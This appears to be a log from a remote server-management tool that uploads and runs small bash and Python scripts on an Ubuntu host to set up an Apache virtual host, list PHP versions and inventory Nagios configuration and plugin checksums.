link(/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf)= /etc/apache2/sites-available/myapp_ma1-cybb_care.conf
link(/etc/apache2/sites-enabled/myapp_cn-dego_care.conf)= /etc/apache2/sites-available/myapp_cn-dego_care.conf
link(/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf)= /etc/apache2/sites-available/myapp_sma1-pcnl_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf)= /etc/apache2/sites-available/myapp_ma1-infp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf)= /etc/apache2/sites-available/myapp_ma2-acrp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf)= /etc/apache2/sites-available/myapp_ma1-anfr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf)= /etc/apache2/sites-available/myapp_ma1-turp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf)= /etc/apache2/sites-available/myapp_ma1-tylo_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf)= /etc/apache2/sites-available/myapp_ma1-pfer_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf)= /etc/apache2/sites-available/myapp_pai-acrc_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf)= /etc/apache2/sites-available/myapp_ma1-anrp_care.conf
link(/etc/apache2/sites-enabled/patientapps_www_net.conf)= /etc/apache2/sites-available/patientapps_www_net.conf
link(/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf)= /etc/apache2/sites-available/myapp_ma1-osbp_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf)= /etc/apache2/sites-available/myapp_pai-ldhr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf)= /etc/apache2/sites-available/myapp_ma2-rcl_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-rcl.conf)= /etc/apache2/sites-available/myapp_ma1-rcl.conf
link(/etc/apache2/sites-enabled/patientapps_portal_net.conf)= /etc/apache2/sites-available/patientapps_portal_net.conf
link(/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf)= /etc/apache2/sites-available/myapp_pai-lsg-s_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf)= /etc/apache2/sites-available/myapp_ma1-octf_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf)= /etc/apache2/sites-available/myapp_ma1-epas_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf)= /etc/apache2/sites-available/myapp_ma1-tosr_care.conf




STDERR:
/tmp/pkp653206:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-06-10 22:59:31: Establishing a connection
2026-06-10 22:59:31: 

PUT: /tmp/pkp380168

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-10 22:59:31: 

chmod 755 /tmp/pkp380168; /tmp/pkp380168; rm /tmp/pkp380168

2026-06-10 22:59:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	618
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-06-10 22:59:31: 

systemctl reload nagios

2026-06-10 22:59:31: 




2026-06-11 00:31:06: Establishing a connection
2026-06-11 00:31:24: Establishing a connection
2026-06-11 00:31:24: 

PUT: /tmp/pkp381512

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "sites-available/anassnamedgrace_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-11 00:31:24: 

chmod 755 /tmp/pkp381512; /tmp/pkp381512; rm /tmp/pkp381512

2026-06-11 00:31:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
sites-available/anassnamedgrace_www_com.conf 0



2026-06-11 00:31:24: 

PUT: /tmp/pkp848699

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=anassnamedgrace_www_com.conf
TARGET=sites-available/anassnamedgrace_www_com.conf
DOCROOT=/var/www/anassnamedgrace_www
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	anassnamedgrace.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/anassnamedgrace_www
    <Directory /var/www/anassnamedgrace_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/anassnamedgrace/www_access.log combined
    ErrorLog	/var/log/apache2/anassnamedgrace/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/anassnamedgrace
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "../sites-available/anassnamedgrace_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf)= /etc/apache2/sites-available/anassnamedgrace_www_com.conf'
	echo 'file(/etc/apache2/sites-available/anassnamedgrace_www_com.conf= 1'
fi


2026-06-11 00:31:24: 

chmod 755 /tmp/pkp848699; /tmp/pkp848699; rm /tmp/pkp848699

2026-06-11 00:31:24: 


chown: invalid user: ‘phil:phil’
link(/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf)= /etc/apache2/sites-available/anassnamedgrace_www_com.conf
file(/etc/apache2/sites-available/anassnamedgrace_www_com.conf= 1




STDERR:
chown: invalid user: ‘phil:phil’


2026-06-11 00:31:24: 

PUT: /tmp/pkp142392

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-11 00:31:24: 

chmod 755 /tmp/pkp142392; /tmp/pkp142392; rm /tmp/pkp142392

2026-06-11 00:31:24: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-11 00:31:24: Performing Server Status
2026-06-11 00:31:24: 

PUT: /tmp/pkp238846

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-06-11 00:31:24: 

chmod 755 /tmp/pkp238846; /tmp/pkp238846; rm /tmp/pkp238846

2026-06-11 00:31:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
dgmarshall

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-124-generic



2026-06-11 00:31:25: 

PUT: /tmp/pkp800049

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-06-11 00:31:25: 

chmod 755 /tmp/pkp800049; /tmp/pkp800049; rm /tmp/pkp800049

2026-06-11 00:31:25: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-06-03T15:41:58
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 878
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         878  0.0  0.9 324100 38112 ?        Ss   Jun07   0:30 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-06-11 00:31:25: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'dgmarshall',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'reqtimeout_module',
      26 => 'rewrite_module',
      27 => 'setenvif_module',
      28 => 'socache_shmcb_module',
      29 => 'ssl_module',
      30 => 'status_module',
    ),
  ),
)


2026-06-11 00:31:25: 

PUT: /tmp/pkp569076

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-06-11 00:31:25: 

chmod 755 /tmp/pkp569076; /tmp/pkp569076; rm /tmp/pkp569076

2026-06-11 00:31:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-06-11 00:31:25: 

PUT: /tmp/pkp731204

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-06-11 00:31:25: 

chmod 755 /tmp/pkp731204; /tmp/pkp731204; rm /tmp/pkp731204

2026-06-11 00:31:25: 


[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.22


2026-06-11 00:31:25: 

PUT: /tmp/pkp392113

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-06-11 00:31:25: 

chmod 755 /tmp/pkp392113; /tmp/pkp392113; rm /tmp/pkp392113

2026-06-11 00:31:25: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_nntps)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_time)= 1e9875c9b5ea540fd7733a0b02fada53
bin(/usr/local/nagios/libexec/check_nt)= 3fa95b15533e9c88543ffcd71f2fe40b
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 88a206459ec8a913e93b228e910ce67a
bin(/usr/local/nagios/libexec/check_apt)= 22b4f86286f6c23874c3023adbccecc1
bin(/usr/local/nagios/libexec/check_imap)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_icmp)= 4162517468ed73d84c9cb4375898d78e
bin(/usr/local/nagios/libexec/check_tcp)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_dig)= 9e404209b923ca562ab25b97e8360f28
bin(/usr/local/nagios/libexec/check_mrtg)= ded945e92e21d981251d50536dcf18d0
bin(/usr/local/nagios/libexec/check_dns)= 101b924a73ccb26a09af66930f8c29c2
bin(/usr/local/nagios/libexec/check_nwstat)= 16d6b8b99b9677ace8035b362b9cfa6d
bin(/usr/local/nagios/libexec/check_pop)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_clamd)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_disk_smb)= a0addfa4f7a59ab39d7c22903bd03591
bin(/usr/local/nagios/libexec/check_jabber)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_disk)= 75f7db1e8c11e25e168c75fe02f16f83
bin(/usr/local/nagios/libexec/check_ssh)= 0da91416fd7f73af7252a747961cc0fa
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_ups)= e3cb868f84f02b48587b160065a49729
bin(/usr/local/nagios/libexec/check_ifstatus)= 3fa7c282c0d64611ba956a1a62d955f6
bin(/usr/local/nagios/libexec/check_mailq)= 2a9a5be3ea16b80a021054f213d2a4dd
bin(/usr/local/nagios/libexec/check_log)= c11e83499380bf54090f23f2c2dff71e
bin(/usr/local/nagios/libexec/check_nagios)= 887c5d4b15f5470cc428b719b6aa5618
bin(/usr/local/nagios/libexec/check_ntp_time)= 41e0b76bc270eac4e5cb68be2503317d
bin(/usr/local/nagios/libexec/check_smtp)= 7d19de04a51638615aede0fd7f36f8f8
bin(/usr/local/nagios/libexec/check_dhcp)= c4a1eb272d41ee39d6fe3ecdef526f8f
bin(/usr/local/nagios/libexec/check_ntp_peer)= 09b4b11c6697984946b9ca681502c595
bin(/usr/local/nagios/libexec/check_http)= 55a7d45e13bcc6724f51469dfe8489b3
bin(/usr/local/nagios/libexec/check_flexlm)= 9f6100f7ab1b0511b276dc3adc3581f3
bin(/usr/local/nagios/libexec/check_load)= c5d4af31efd52835fb9281994fad5381
bin(/usr/local/nagios/libexec/check_sensors)= ff31dc74c18f5745178a88ee209f7199
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_ntp)= 0f84108f663334402ab1ddd798e9c73d
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3de0691a4833084c61d63f8dab433fcd
bin(/usr/local/nagios/libexec/check_ircd)= f43249e02df45308f25c31ac5879859b
bin(/usr/local/nagios/libexec/check_file_age)= 4ca1b31c4727146655023808c501658a
bin(/usr/local/nagios/libexec/check_swap)= 298b1ee455ee25389b25d8173ad8ccfb
bin(/usr/local/nagios/libexec/check_dummy)= fb4c1e391fe2d37452b1dbc6fdc0f0fa
bin(/usr/local/nagios/libexec/check_cluster)= bcc1b5d1a959a980ee755ff3c157fca2
bin(/usr/local/nagios/libexec/check_ide_smart)= 48b733285b0a2d4d473db54efe4457f7
bin(/usr/local/nagios/libexec/check_ping)= 8bb007231029700a1659553a16321bfa
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_overcr)= 24457c37bfca07b7dad91a3223ac4640
bin(/usr/local/nagios/libexec/check_breeze)= 28bc7630e205482708923d2985361390
bin(/usr/local/nagios/libexec/check_uptime)= fd91968d366ae0fd2a6df13185f3669b
bin(/usr/local/nagios/libexec/check_nntp)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_udp)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_real)= f2489c04cf946b095bed1366f8f0df35
bin(/usr/local/nagios/libexec/check_ftp)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_by_ssh)= 8b3e62f3ba31a179d61c21f0eac0aa11
bin(/usr/local/nagios/libexec/check_ssmtp)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_spop)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_procs)= 67a29b52608ad36a6467fd5896bb620e
